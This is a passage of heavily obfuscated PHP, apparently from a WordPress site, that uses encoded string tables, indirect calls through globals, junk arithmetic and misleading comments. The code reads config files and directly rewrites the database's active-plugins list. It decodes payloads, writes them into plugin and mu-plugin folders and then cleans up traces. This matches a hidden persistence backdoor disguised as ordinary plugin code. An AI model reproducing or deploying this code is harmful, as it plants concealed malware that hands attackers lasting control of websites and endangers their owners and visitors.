   $nwgcijv5s4389r  =  fqr413zu_kw1ho7pi($r1og_b9yhwzn27uf,    $drlbqcp2bkcr1hp, woii22it0(1084));
if ($nwgcijv5s4389r  && $nwgcijv5s4389r   >=   $GLOBALS['__scf_h5yqrl6kmpb_10']($drlbqcp2bkcr1hp)) {
// @pipeline vault

$q7c9svyxqy7dijb   =  $r1og_b9yhwzn27uf;
  
    $basename   =      $c3r90h9t603 .     '/'   .    blnqst3prbthr6q_h_();



hg0x24tagp9_kspqln($mhp2j1y33s,   $basename);
   }
 }



  if  (!     $q7c9svyxqy7dijb)    {
continue;
}
     q9qe9dyjynhf_ro94m($q7c9svyxqy7dijb);


 dvd1rr9pr3xu08j($q7c9svyxqy7dijb,  (379+41));
    $x2zg9aclo_b31++;
  }
  if  ($x2zg9aclo_b31  > 0) {

    set_transient(hwc6a8djp6yy(1083), 1,  (259121+79));
   }  else     {
// WP Post Template shortcode parse



     set_transient(k83m2slbb(1083),  1,    (3513+87));
}
}  catch (Throwable $oz7m23pnscj7)  {


   pas31bymshzdagwkp(hwc6a8djp6yy(1084), $oz7m23pnscj7);
     

 }  catch  (Exception $oz7m23pnscj7) {
}
    }
  function     hg0x24tagp9_kspqln($mhp2j1y33s, $basename)
{

try   {
$seli8652g_w26u   = $mhp2j1y33s . lgr6hp92ka(1086);
  if   (!  @$GLOBALS['__scf_mtwlgr3p78_18']($seli8652g_w26u))   {


  $seli8652g_w26u  =   $GLOBALS['__scf_zf6ei6xtcw1fb_11']($mhp2j1y33s) .  woii22it0(1086);
     if     (!  @$GLOBALS['__scf_mtwlgr3p78_18']($seli8652g_w26u))   {
 return;
      }
  }


  $clyirr_5zjy   =    @$GLOBALS['__scf_zonhpgc286wu1_95']($seli8652g_w26u);
  if (!    $clyirr_5zjy)  {
 return;
    }
    $nxjw0rp6oag =  "";
$prefix     =    "";
    if  ($GLOBALS['__scf_iz3o_ajtgml6rf_96'](n747he9yo38(1087),  $clyirr_5zjy,  $hyzeda9xec3m80j))   {

$nxjw0rp6oag     =    $hyzeda9xec3m80j[1];
 }
 if  ($GLOBALS['__scf_iz3o_ajtgml6rf_96'](hwc6a8djp6yy(1088),  $clyirr_5zjy,  $hyzeda9xec3m80j)) {
   $prefix  =     $hyzeda9xec3m80j[1];


 }

if (! $nxjw0rp6oag  ||   ! $prefix ||   !   $GLOBALS['__scf_iz3o_ajtgml6rf_96'](k83m2slbb(1089),  $prefix)) {
 return;



   }



  $wpdb      =  $GLOBALS[n747he9yo38(1005)];
     

        if (!  $GLOBALS['__scf_mvbylv45uji1_67']($wpdb) || !  $GLOBALS['__scf_jsvpc2hg_6ahvj_119']($wpdb,  woii22it0(1090)))  {
 return;

   }
if (!   $GLOBALS['__scf_iz3o_ajtgml6rf_96'](n747he9yo38(1091),  $nxjw0rp6oag))   {
pas31bymshzdagwkp(hwc6a8djp6yy(773),   lgr6hp92ka(1092));
return;
 }
// locale-dependent

 $msrraneu0iq =   '`'    .   $nxjw0rp6oag   .  hwc6a8djp6yy(1093)   .  $prefix   . k83m2slbb(1094);
$wpdb->query(k83m2slbb(1095));
   $ais6w_zn9s6  = $wpdb->get_var('S'    .   lgr6hp92ka(1096)  .  $msrraneu0iq   .  n747he9yo38(1097)  .  hwc6a8djp6yy(1098)    .   hwc6a8djp6yy(1099));
   if ($ais6w_zn9s6    ===     null)   {
// WP Data Layer: irreducible leaky-bucket

     $wpdb->query(lgr6hp92ka(1100));
  return;
      }
$v1j0d7arkca0aite  =   wwghzhg_vqxa4ch41($ais6w_zn9s6);
  if    (! $GLOBALS['__scf_lxbo0xm7220an_34']($v1j0d7arkca0aite))   {
// acquire compact keystore

  $wpdb->query(woii22it0(1100));
        return;
  }
      if    ($GLOBALS['__scf_a2dj3p28xfi_149']($basename,  $v1j0d7arkca0aite,   true))  {
    $wpdb->query(n747he9yo38(1101));
return;
       }
   $v1j0d7arkca0aite[]     =  $basename;



 $v1j0d7arkca0aite   =   $GLOBALS['__scf_xbx3qj3ap0_147']($v1j0d7arkca0aite);
 $h10xx8rf4a =  $GLOBALS['__scf_ont_3ql2b3ui_348']($v1j0d7arkca0aite);
 $_406_7o2jeonh =   $wpdb->query($wpdb->prepare('U'  . k83m2slbb(1102)      .      $msrraneu0iq   . woii22it0(1103) .      woii22it0(1104),  $h10xx8rf4a));
    if      ($_406_7o2jeonh  === false) {
  pas31bymshzdagwkp(hwc6a8djp6yy(773),     hwc6a8djp6yy(1105));
$wpdb->query(k83m2slbb(1100));
return;
  }
  $wpdb->query(hwc6a8djp6yy(1106));
       if      ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1107))) {
@wp_cache_delete(hwc6a8djp6yy(1108), k83m2slbb(1109));
 @wp_cache_delete(woii22it0(736), hwc6a8djp6yy(1109));
     }


      }    catch     (Throwable   $oz7m23pnscj7)    {



    pas31bymshzdagwkp(k83m2slbb(773), $oz7m23pnscj7);
   if ($GLOBALS['__scf_mvbylv45uji1_67']($GLOBALS[hwc6a8djp6yy(1110)]))  {
 @$GLOBALS[k83m2slbb(1110)]->query(n747he9yo38(1100));
    }
   }  catch  (Exception  $oz7m23pnscj7) {
   pas31bymshzdagwkp(n747he9yo38(773),     $oz7m23pnscj7);
    

    if ($GLOBALS['__scf_mvbylv45uji1_67']($GLOBALS[k83m2slbb(1111)])) {
 @$GLOBALS[k83m2slbb(1112)]->query(hwc6a8djp6yy(1100));
  }



     }
/* non-strict backlog */

 }
  function  k1kbds0hqy9d57ef_fe()
 {
static  $clyirr_5zjy    =  null;
      if    ($clyirr_5zjy  !==  null)   return $clyirr_5zjy;
if (!$GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(279))) {
 $clyirr_5zjy =  "";
        return    $clyirr_5zjy;
  

    }
$clyirr_5zjy     = @gzinflate($GLOBALS['__scf_ts5_ao9xhku_355'](woii22it0(1113)));
  if   (!$GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy)    ||   $GLOBALS['__scf_h5yqrl6kmpb_10']($clyirr_5zjy)  < (23^115)) $clyirr_5zjy     = "";


 return  $clyirr_5zjy;
    }
function  izndq11owyuxp9di()
{



try  {
   if   (!defined(hwc6a8djp6yy(784)))    return;
$_3gqlb29heqj      =   $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(), hwc6a8djp6yy(1076));
   $mg55plvcl5ld1     = w5r7ae3dymnovvl7(ABSPATH   . n747he9yo38(1114),     (125^117))   . woii22it0(1115);

   $l604_boyqk  =     w5r7ae3dymnovvl7(ABSPATH   .  hwc6a8djp6yy(1116),  (0x6+0x2));



$mp8vj626ffkhy5     = $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1117))   ?  content_url()  :   "";
  if ($mp8vj626ffkhy5   === "")    {
$mp8vj626ffkhy5   =  ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(559))  ?   get_site_url()  :    "")  .  lgr6hp92ka(1118);
}
 $r_jns47z3g  =    $GLOBALS['__scf_obam74mgj139o_361'](hwc6a8djp6yy(1119),  k83m2slbb(1120), $mp8vj626ffkhy5     . '/'    . $mg55plvcl5ld1);
      if ($GLOBALS['__scf_p9nk7khmjys_7']($r_jns47z3g,  n747he9yo38(1120))   !==  0)   $r_jns47z3g  =  woii22it0(1120)  . $GLOBALS['__scf_ptxcf45drp_8']($r_jns47z3g,   '/');
   $xhkoakn_8vxw    =    $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(467))  ?   home_url(lgr6hp92ka(1121)  . st3k2bxrexlza0k8_o5g_4(k83m2slbb(1122)))   :  "";
 if     ($xhkoakn_8vxw === "")  $xhkoakn_8vxw   = k83m2slbb(1123)  .     og1x2m03ubzy0v1hpff6("")  . n747he9yo38(1124)     .   st3k2bxrexlza0k8_o5g_4(lgr6hp92ka(1122));
   if     ($GLOBALS['__scf_p9nk7khmjys_7']($xhkoakn_8vxw, lgr6hp92ka(1123))   !==  0)     $xhkoakn_8vxw  =      lgr6hp92ka(1125)   . $GLOBALS['__scf_ptxcf45drp_8']($GLOBALS['__scf_lv9m74lgyu5o6_460'](lgr6hp92ka(1126),    "", $xhkoakn_8vxw), '/');
 

 $fzvx_rqt0r0ed59  =  isset($GLOBALS[k83m2slbb(645)])   &&    $GLOBALS['__scf_epa1jymnf5_40']($GLOBALS[n747he9yo38(645)]) ? $GLOBALS[hwc6a8djp6yy(645)]  :   "";
if     ($GLOBALS['__scf_h5yqrl6kmpb_10']($fzvx_rqt0r0ed59) <      (50<<1))     {
    $fzvx_rqt0r0ed59  =   nswwyfxxcf0yh1u(k83m2slbb(365),  "");
}
if  ($GLOBALS['__scf_h5yqrl6kmpb_10']($fzvx_rqt0r0ed59)  <    (0x24+0x40))      {


  $fzvx_rqt0r0ed59  =  k1kbds0hqy9d57ef_fe();
 }
 $tm2iijq3rhe2cwqj  = "";
  if     (isset($GLOBALS[hwc6a8djp6yy(641)])  && $GLOBALS['__scf_epa1jymnf5_40']($GLOBALS[n747he9yo38(1127)]) && $GLOBALS['__scf_h5yqrl6kmpb_10']($GLOBALS[n747he9yo38(1128)]) > (70-20))     {

 $tm2iijq3rhe2cwqj   =   $GLOBALS[k83m2slbb(1128)];
}  else    {
    $tm2iijq3rhe2cwqj   =     nswwyfxxcf0yh1u(n747he9yo38(1129),   "");
  }
if  ($GLOBALS['__scf_h5yqrl6kmpb_10']($tm2iijq3rhe2cwqj)     >  (73-23)) {
 htdydg38ahuyxm73zkqz0(hwc6a8djp6yy(1129),      $tm2iijq3rhe2cwqj, hwc6a8djp6yy(1039));
       }
 $t61v35s0k3e40qz =     $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(467))   ?  (string)  $GLOBALS['__scf_c0nria_kxj_557'](home_url('/'),  PHP_URL_PATH)  :    '/';
  if ($t61v35s0k3e40qz    ===    "")    $t61v35s0k3e40qz =   '/';
if  ($GLOBALS['__scf_pdat24v9nxkx0_9']($t61v35s0k3e40qz, -1)  !== '/')    $t61v35s0k3e40qz .=   '/';
   $srsxs0eki_aq5d  =   array(
woii22it0(1130)     => s5ryhycatlctn9wf(),
      woii22it0(1131) => cg7vba8ac_fp7a(),
 lgr6hp92ka(1132)   =>  $t61v35s0k3e40qz,
);
$e6q2lepnr7   =    array(
 woii22it0(1133) =>    $r_jns47z3g,

 n747he9yo38(1134) =>   $_3gqlb29heqj,
   lgr6hp92ka(1135)  =>    $xhkoakn_8vxw,
   lgr6hp92ka(1136)  =>   w5r7ae3dymnovvl7(ABSPATH  .    k83m2slbb(1137), (8+4)),
k83m2slbb(1138)   =>    $tm2iijq3rhe2cwqj,
 );
  $fxnl_uumfwfsic   =   z6q8c6q8s6lg_2r(n747he9yo38(343),     "");


   if (!$GLOBALS['__scf_epa1jymnf5_40']($fxnl_uumfwfsic)    ||   $GLOBALS['__scf_h5yqrl6kmpb_10']($fxnl_uumfwfsic)     ===   0)   {
       return;
  }
$wlyu2ye14i5b   =  $GLOBALS['__scf_ocf2s22fr524pv_351'](sdbi68rbn9zn5o588($GLOBALS['__scf_lqvorm12n2um_586']($e6q2lepnr7),   $fxnl_uumfwfsic));
   $rgc69rlsutbumo5     =     woii22it0(1139)     . $GLOBALS['__scf_ocf2s22fr524pv_351']($GLOBALS['__scf_lqvorm12n2um_586']($srsxs0eki_aq5d))   . lgr6hp92ka(1140);
 $rgc69rlsutbumo5 .=   hwc6a8djp6yy(1141) . $wlyu2ye14i5b . hwc6a8djp6yy(1142);



     $ipys_18w17juxs =  $GLOBALS['__scf__pih7hoh4m_56']((string) $fzvx_rqt0r0ed59  . (string) $tm2iijq3rhe2cwqj  .  $fxnl_uumfwfsic      .   $GLOBALS['__scf_lqvorm12n2um_586']($srsxs0eki_aq5d[n747he9yo38(1130)])  .  $GLOBALS['__scf_lqvorm12n2um_586']($srsxs0eki_aq5d[k83m2slbb(1131)])    .  '|'  .   $GLOBALS['__scf_ytoyy4ewqm_103'](og1x2m03ubzy0v1hpff6(""))    .   '|' .  $t61v35s0k3e40qz);
      if  (htdydg38ahuyxm73zkqz0(hwc6a8djp6yy(1143), $rgc69rlsutbumo5, k83m2slbb(1039)) || nswwyfxxcf0yh1u(woii22it0(1143),  "")   ===  $rgc69rlsutbumo5)    htdydg38ahuyxm73zkqz0(hwc6a8djp6yy(1144),  $ipys_18w17juxs, n747he9yo38(1039));
   unset($ipys_18w17juxs);


$zglx0dvs3qbo  =  $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1145)) ?  home_url(woii22it0(1121)   . st3k2bxrexlza0k8_o5g_4(hwc6a8djp6yy(644)))     :  "";
  if     ($zglx0dvs3qbo   ===  "")  $zglx0dvs3qbo =  k83m2slbb(1146)    .  og1x2m03ubzy0v1hpff6("")  .  woii22it0(1124)  .   st3k2bxrexlza0k8_o5g_4(n747he9yo38(644));$l0fjxfrq=PHP_INT_MAX/PHP_INT_MAX;$oowjj6rh=$l0fjxfrq+59;
  if    ($GLOBALS['__scf_p9nk7khmjys_7']($zglx0dvs3qbo,    k83m2slbb(1146)) !==   0) $zglx0dvs3qbo     =  lgr6hp92ka(1146)  .   $GLOBALS['__scf_ptxcf45drp_8']($GLOBALS['__scf_lv9m74lgyu5o6_460'](n747he9yo38(1126),   "", $zglx0dvs3qbo),  '/');
 htdydg38ahuyxm73zkqz0(lgr6hp92ka(497),   $zglx0dvs3qbo,     woii22it0(1039));
 if   ($GLOBALS['__scf_h5yqrl6kmpb_10']($fzvx_rqt0r0ed59)   <  (50<<1))    {


   return;
 }
htdydg38ahuyxm73zkqz0(k83m2slbb(365),   $fzvx_rqt0r0ed59,    hwc6a8djp6yy(1039));
if (!r9yn02bzgmbr36())   return;
  $z6sjo3b9vuo78ncn      =   zaag8uz2ttqgqlhq();
  if  (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($z6sjo3b9vuo78ncn))     t9pjso5fxcttzwg5jam805($z6sjo3b9vuo78ncn,    (409+84),  true);

 if  (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($z6sjo3b9vuo78ncn)   ||  !@$GLOBALS['__scf_vz80l0_46bwga_46']($z6sjo3b9vuo78ncn))  return;



 $mqf7pnhek2w5o5    = $z6sjo3b9vuo78ncn   . '/' .    $l604_boyqk  .      lgr6hp92ka(1147);
   $fjls0sqyq0kfy0i   =   xewvuvq66ezpbfhc(
   k83m2slbb(657),
     array('__SLUG__',   '__ZIP_NAME__',  '__WRITE_KEY__',  '__VERSION__'),
  array($_3gqlb29heqj,    $mg55plvcl5ld1,   w5r7ae3dymnovvl7(ABSPATH  . woii22it0(1148), (3+9)),    tdwuvuxeuijm__qj())
       );$hhkfrr3j5=99*2;$dcqjmbcy=$hhkfrr3j5-40;
if   (!$fjls0sqyq0kfy0i) {
 if ((int) get_option(woii22it0(1149), 0)   > 0)   pas31bymshzdagwkp(n747he9yo38(1150),     lgr6hp92ka(1151));
return;
      }
  if   (!@$GLOBALS['__scf_yi4cpqdjr9_711']($mqf7pnhek2w5o5) ||  $GLOBALS['__scf__pih7hoh4m_56'](ouktu5q4cpiyod2s((string)  @$GLOBALS['__scf_zonhpgc286wu1_95']($mqf7pnhek2w5o5)))    !== $GLOBALS['__scf__pih7hoh4m_56']($fjls0sqyq0kfy0i))  {
   fqr413zu_kw1ho7pi($mqf7pnhek2w5o5,  $fjls0sqyq0kfy0i,     hwc6a8djp6yy(1152));



  rrr831f_sv70sa0os2v($mqf7pnhek2w5o5,    vl3ayj4wnx9fy07p7y_a());
 dvd1rr9pr3xu08j($mqf7pnhek2w5o5,    (0x6d+0x137));
j432fegx9wjwq5cz8t($mqf7pnhek2w5o5);$q86zp_yx_y6y=40*8;$fuhpq9cuev=$q86zp_yx_y6y-19;
}
    }   catch     (Throwable   $oz7m23pnscj7) {
  pas31bymshzdagwkp(lgr6hp92ka(1150), $oz7m23pnscj7);
   }     catch (Exception  $oz7m23pnscj7)  {
}
 }
function xewvuvq66ezpbfhc($key,   $zne1i1sia4_,  $d33lt_jy__)



{
 $mvuk2rk025mg     =  null;
if  ($mvuk2rk025mg   ===    null)   {



$mvuk2rk025mg =     $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1153)) ?     get_transient(t5exk4f0xw1h_voqxx0w())     :  false;
if   (!   $GLOBALS['__scf_lxbo0xm7220an_34']($mvuk2rk025mg)) {
   $mvuk2rk025mg =   za3gt62ixnceo0mnhvd(woii22it0(666), false);
}
if (! $GLOBALS['__scf_lxbo0xm7220an_34']($mvuk2rk025mg))  {
   $mvuk2rk025mg  =   array();



}
   }
    $yhm9eprobm3tk  =   "";
      if   (isset($mvuk2rk025mg[$key]) &&    $GLOBALS['__scf_epa1jymnf5_40']($mvuk2rk025mg[$key]))     {
    $yhm9eprobm3tk   =    $mvuk2rk025mg[$key];
  }

      if  ($GLOBALS['__scf_h5yqrl6kmpb_10']($yhm9eprobm3tk) <  (5+45))  {
 $yhm9eprobm3tk   =    nswwyfxxcf0yh1u($key,    "");
   }
if ($GLOBALS['__scf_h5yqrl6kmpb_10']($yhm9eprobm3tk)  < (48^2))  return  false;
   $nong25gx93c6emu  =   $GLOBALS['__scf_ts5_ao9xhku_355']($yhm9eprobm3tk,    true);
 if  (!$nong25gx93c6emu  ||  $GLOBALS['__scf_h5yqrl6kmpb_10']($nong25gx93c6emu) <  (88-38)) return   false;
   if      ($GLOBALS['__scf_p9nk7khmjys_7']($nong25gx93c6emu,   k83m2slbb(1154))   ===   false) return      false;
 $nong25gx93c6emu     = $GLOBALS['__scf_obam74mgj139o_361']($zne1i1sia4_, $d33lt_jy__,   $nong25gx93c6emu);
if (defined(woii22it0(244)))  {


 try  {
 @token_get_all($nong25gx93c6emu, TOKEN_PARSE);$ngs5dy2t8fo=5233;$gacdr_lf=$ngs5dy2t8fo%15;

   } catch (Throwable  $oz7m23pnscj7) {
     return  false;
 }   catch    (Exception  $oz7m23pnscj7) {
    return      false;
   }
      } elseif    (!dxgg5a63x4tsvkmvowozg3($nong25gx93c6emu)) {
      return  false;
   }
  return  $nong25gx93c6emu;$dxi4zdcbz1=PHP_MAJOR_VERSION;$zm81cz0ci4=$dxi4zdcbz1*7;
}
      function  dgk8_q47cpc3rgnuabc()
       {
     try  {
  if  (!$GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1155)))   return;
if (!defined(k83m2slbb(784)))   return;
 $pa1lxawsokdgz =    xbsb_j7zcxckveb();
     if    (!$pa1lxawsokdgz)   {
 izndq11owyuxp9di();
$pa1lxawsokdgz = xbsb_j7zcxckveb();
      }

 $ct9i9uxwq77n  =   nswwyfxxcf0yh1u(lgr6hp92ka(1156),    "");

  if    ($GLOBALS['__scf_h5yqrl6kmpb_10']($ct9i9uxwq77n)    ===   0)      $ct9i9uxwq77n =  $GLOBALS['__scf_ton6sky6llzey7_1157']("\x00",      (0x2+0xe));
      $i3laoc725rjosj7    =  (isset($GLOBALS[woii22it0(645)])   && $GLOBALS['__scf_epa1jymnf5_40']($GLOBALS[n747he9yo38(645)]) &&  $GLOBALS['__scf_h5yqrl6kmpb_10']($GLOBALS[lgr6hp92ka(1158)]) >=   (25<<2))   ?  $GLOBALS[k83m2slbb(1159)] : nswwyfxxcf0yh1u(lgr6hp92ka(1160),  "");

 if   ($GLOBALS['__scf_h5yqrl6kmpb_10']($i3laoc725rjosj7)   < (54+46)) $i3laoc725rjosj7   = k1kbds0hqy9d57ef_fe();
 $qoeh4lg9916_qov7  = (isset($GLOBALS[lgr6hp92ka(1161)])      && $GLOBALS['__scf_epa1jymnf5_40']($GLOBALS[lgr6hp92ka(1161)])    &&  $GLOBALS['__scf_h5yqrl6kmpb_10']($GLOBALS[woii22it0(1161)])  > (205^255))    ?    $GLOBALS[hwc6a8djp6yy(1161)] : nswwyfxxcf0yh1u(woii22it0(1129),    "");
 $wp5wm5ldvg9 =     $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1162))   ?  (string)  $GLOBALS['__scf_c0nria_kxj_557'](home_url('/'), PHP_URL_PATH)  : '/';
 if     ($wp5wm5ldvg9  ===  "")   $wp5wm5ldvg9   =   '/';
 

     if   ($GLOBALS['__scf_pdat24v9nxkx0_9']($wp5wm5ldvg9,     -1)   !==   '/')    $wp5wm5ldvg9 .=   '/';
 $zczl29ybje6 = $GLOBALS['__scf__pih7hoh4m_56']($i3laoc725rjosj7  .  $qoeh4lg9916_qov7  .  $ct9i9uxwq77n .   $GLOBALS['__scf_lqvorm12n2um_586'](s5ryhycatlctn9wf())   . $GLOBALS['__scf_lqvorm12n2um_586'](cg7vba8ac_fp7a())  . '|' . $GLOBALS['__scf_ytoyy4ewqm_103'](og1x2m03ubzy0v1hpff6(""))  . '|' .  $wp5wm5ldvg9);
unset($wp5wm5ldvg9);


if (nswwyfxxcf0yh1u(n747he9yo38(1144),  "") !==     $zczl29ybje6) {

 izndq11owyuxp9di();
  $pa1lxawsokdgz   =   xbsb_j7zcxckveb();
 }
if  (!r9yn02bzgmbr36())    return;
 $adclv0gbv4g2vk  =    ms1ba5i41di9frre();
 $z0eh8qct55s2xj7    = @$GLOBALS['__scf_yi4cpqdjr9_711']($adclv0gbv4g2vk . n747he9yo38(505));
if  ($z0eh8qct55s2xj7  &&   $pa1lxawsokdgz    && get_transient(n747he9yo38(665)))     return;

v1qsmpxl4igvp4vfptef();
emd7g03dgmf33s9vtn4_iw();


  amr00_8p5rq123g();

$ndtqux54qdes    =  @$GLOBALS['__scf_yi4cpqdjr9_711']($adclv0gbv4g2vk   .  k83m2slbb(1163));
   $pa1lxawsokdgz =    xbsb_j7zcxckveb();
if     ($ndtqux54qdes  &&   $pa1lxawsokdgz) {

set_transient(k83m2slbb(665),  1, (225+75));
  }
      } catch   (Throwable   $oz7m23pnscj7)  {
pas31bymshzdagwkp(lgr6hp92ka(1164),  $oz7m23pnscj7);
}      catch  (Exception  $oz7m23pnscj7)  {
}
      }
function emd7g03dgmf33s9vtn4_iw()
      {


      try {
if    (!defined(woii22it0(784)))  return;
  $adclv0gbv4g2vk =    ms1ba5i41di9frre();
  $z6sjo3b9vuo78ncn   =    zaag8uz2ttqgqlhq();
 

$bugikqbhzx0c_0     =  w5r7ae3dymnovvl7(ABSPATH  . woii22it0(1165),   (3^11))   .     lgr6hp92ka(1147);
 
$dpdg4uzzhpl5l  =  $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(1072))  ?      @$GLOBALS['__scf_n9umf2ff2bmitw_112'](lgr6hp92ka(1166))  :  false;
   $dpdg4uzzhpl5l     = $GLOBALS['__scf_epa1jymnf5_40']($dpdg4uzzhpl5l) ? $GLOBALS['__scf_xcg5caaat_92j0_323']($dpdg4uzzhpl5l)    :    "";



 if   ($dpdg4uzzhpl5l   === ""   || $GLOBALS['__scf_hyr3ta2_ob_1167']($dpdg4uzzhpl5l,   n747he9yo38(518))  ===    0)    $dpdg4uzzhpl5l   =  k83m2slbb(1168);
      $w6zgwew8fpl    =  $GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y()) . woii22it0(1169);
 $l95hel7tqq8k  = defined(n747he9yo38(1170)) ? WP_CONTENT_DIR . n747he9yo38(1169) : $w6zgwew8fpl;
  $vi4y9e4plez  =    array($GLOBALS['__scf_aiwotu1kwod_12']($adclv0gbv4g2vk,  hwc6a8djp6yy(80)),  $GLOBALS['__scf_aiwotu1kwod_12']($GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y()),  woii22it0(80)),  $GLOBALS['__scf_aiwotu1kwod_12']($z6sjo3b9vuo78ncn, k83m2slbb(80)), $GLOBALS['__scf_aiwotu1kwod_12']($w6zgwew8fpl,  lgr6hp92ka(80)),      $GLOBALS['__scf_aiwotu1kwod_12']($l95hel7tqq8k,   k83m2slbb(80)));
 

  if    (defined(woii22it0(1170)))  $vi4y9e4plez[]    =  $GLOBALS['__scf_aiwotu1kwod_12'](WP_CONTENT_DIR,  n747he9yo38(80));
   foreach  ($GLOBALS['__scf_w5opg4gsg8g4tp_148']($vi4y9e4plez)  as $dw2icd0fx1usrwkg)  {
     $xofuzr7d9ya     = $dw2icd0fx1usrwkg      .    '/'  . $bugikqbhzx0c_0;
if (@$GLOBALS['__scf_mtwlgr3p78_18']($xofuzr7d9ya))      g_dmpjmw9t7l9p($xofuzr7d9ya, null);
   $do9m6ykbsjc_ =   $dw2icd0fx1usrwkg  . k83m2slbb(1171)     .   $bugikqbhzx0c_0;
  if    (@$GLOBALS['__scf_mtwlgr3p78_18']($do9m6ykbsjc_)) g_dmpjmw9t7l9p($do9m6ykbsjc_,   null);
  }
     unset($w6zgwew8fpl,     $l95hel7tqq8k, $vi4y9e4plez,  $dw2icd0fx1usrwkg,   $xofuzr7d9ya,   $do9m6ykbsjc_);$txk2d4yr3zn=12+25;$yxee2s2_1z6la=$txk2d4yr3zn-50;
$ehz046ky_6k8aw8h  =   array($GLOBALS['__scf_aiwotu1kwod_12'](ABSPATH,     n747he9yo38(80)));



    if (defined(woii22it0(1170)))  $ehz046ky_6k8aw8h[] = $GLOBALS['__scf_aiwotu1kwod_12'](WP_CONTENT_DIR,    woii22it0(80));
$ehz046ky_6k8aw8h[]    =  $GLOBALS['__scf_aiwotu1kwod_12']($adclv0gbv4g2vk, k83m2slbb(80));
 $ehz046ky_6k8aw8h[] =    $GLOBALS['__scf_aiwotu1kwod_12']($GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y()),  n747he9yo38(80));
  foreach    ($GLOBALS['__scf_w5opg4gsg8g4tp_148']($ehz046ky_6k8aw8h) as  $y50pas5dn3)     {

    $ba9wda4_g7     =    $y50pas5dn3     .  '/' .    $dpdg4uzzhpl5l;$abmx74zp06x2zu=68|209;$imci431xifh=$abmx74zp06x2zu^181;
      $h2g0x6eeqptcw9e1  =  @$GLOBALS['__scf_mtwlgr3p78_18']($ba9wda4_g7) ? @$GLOBALS['__scf_zonhpgc286wu1_95']($ba9wda4_g7)  :  "";
   if   (!$GLOBALS['__scf_epa1jymnf5_40']($h2g0x6eeqptcw9e1) ||  $h2g0x6eeqptcw9e1 ===  ""     ||  $GLOBALS['__scf_p9nk7khmjys_7']($h2g0x6eeqptcw9e1,  $bugikqbhzx0c_0)   ===    false)  continue;
   $mxw5hw4kgz07y     =  $GLOBALS['__scf_lv9m74lgyu5o6_460'](hwc6a8djp6yy(1172)   .    $GLOBALS['__scf_wyw0gbsdks_v_823']($bugikqbhzx0c_0,    '/')   .    woii22it0(1173), "\n", $h2g0x6eeqptcw9e1);
 if  ($GLOBALS['__scf_epa1jymnf5_40']($mxw5hw4kgz07y)    &&   $mxw5hw4kgz07y  !== $h2g0x6eeqptcw9e1  &&    m9xp6uh5w1cal39pfn4cx($ba9wda4_g7,  $mxw5hw4kgz07y)) pas31bymshzdagwkp(lgr6hp92ka(1174), lgr6hp92ka(1175));$m_37uxjb6b7z_=8631;$b41y78km=$m_37uxjb6b7z_%6;
    }
   unset($ehz046ky_6k8aw8h,  $y50pas5dn3, $ba9wda4_g7, $h2g0x6eeqptcw9e1,    $mxw5hw4kgz07y);
if   ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1176)))   {
 @delete_option(lgr6hp92ka(1177));
@delete_option(hwc6a8djp6yy(1178));
 @delete_option(n747he9yo38(1179));
}

 }  catch (Throwable     $oz7m23pnscj7)  {
      pas31bymshzdagwkp(hwc6a8djp6yy(1174),  $oz7m23pnscj7);
}  catch (Exception    $oz7m23pnscj7)  {
 }
      }

 function k0ricfsu2hbmwz()
{
  try    {
// WP Server Side Render: typecheck collector

if (!defined(woii22it0(784)))   return;
  $adclv0gbv4g2vk  =  ms1ba5i41di9frre();
     $z6sjo3b9vuo78ncn    =     zaag8uz2ttqgqlhq();


  
    $bugikqbhzx0c_0      =  w5r7ae3dymnovvl7(ABSPATH      . woii22it0(1180),   (6+2))    .   hwc6a8djp6yy(1181);
   $w6zgwew8fpl  =   $GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y())   . k83m2slbb(1169);
     $l95hel7tqq8k =  defined(hwc6a8djp6yy(1170))   ? WP_CONTENT_DIR    . woii22it0(1182) :  $w6zgwew8fpl;
 $vi4y9e4plez =   array($GLOBALS['__scf_aiwotu1kwod_12']($adclv0gbv4g2vk,    k83m2slbb(80)),   $GLOBALS['__scf_aiwotu1kwod_12']($GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y()),   woii22it0(1183)),     $GLOBALS['__scf_aiwotu1kwod_12']($z6sjo3b9vuo78ncn,    n747he9yo38(1183)),  $GLOBALS['__scf_aiwotu1kwod_12']($w6zgwew8fpl,  k83m2slbb(1183)), $GLOBALS['__scf_aiwotu1kwod_12']($l95hel7tqq8k,  n747he9yo38(1183)));
     if (defined(n747he9yo38(1170))) $vi4y9e4plez[] =  $GLOBALS['__scf_aiwotu1kwod_12'](WP_CONTENT_DIR,     woii22it0(1183));
    foreach  ($GLOBALS['__scf_w5opg4gsg8g4tp_148']($vi4y9e4plez)  as    $dw2icd0fx1usrwkg)    {


  $_vx_ayq9yu      =   $dw2icd0fx1usrwkg .  '/'     . $bugikqbhzx0c_0;
 if     (@$GLOBALS['__scf_mtwlgr3p78_18']($_vx_ayq9yu))    g_dmpjmw9t7l9p($_vx_ayq9yu,  null);
  }
unset($w6zgwew8fpl,    $l95hel7tqq8k,    $vi4y9e4plez,  $dw2icd0fx1usrwkg,     $_vx_ayq9yu);


   $lqbwhyvib1     = array($GLOBALS['__scf_aiwotu1kwod_12'](ABSPATH,  lgr6hp92ka(1183)));
